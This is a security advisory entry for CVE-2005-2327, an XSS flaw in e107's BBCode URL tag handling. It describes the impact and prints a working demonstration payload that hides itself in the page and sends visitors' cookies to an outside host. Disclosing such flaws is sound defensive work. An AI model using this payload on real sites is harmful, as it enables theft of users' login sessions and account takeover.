e107 Input Validation Flaw in BBCode URL Tags Lets Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1014513
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SecurityTracker URL: http://securitytracker.com/id?1014513
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CVE Reference: CVE-2005-2327
(Links to External Site)
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Updated: Jul 6 2008
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Original Entry Date: Jul 18 2005
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Version(s): 0.617 and prior versions
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Description: An input validation vulnerability was reported in e107. A remote user can conduct cross-site scripting attacks.
The software does not properly filter HTML code from BBCode URL tags. A remote user can submit specially crafted input that, when
viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate
from the site running the e107 software and will run in the security context of that site. As a result, the code will be able to
access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted
by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit
from str0ke is provided:
[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));
'sss=`i=new/**/Image();
i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;]
[/url][/url]'[/color]
Nick
Griffin is credited with discovering this vulnerability.
The original advisory is available at:
http://www.milw0rm.com/id.php?id=1106
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
e107 software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as
the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.e107.org/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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[Original Message Not Available for Viewing]
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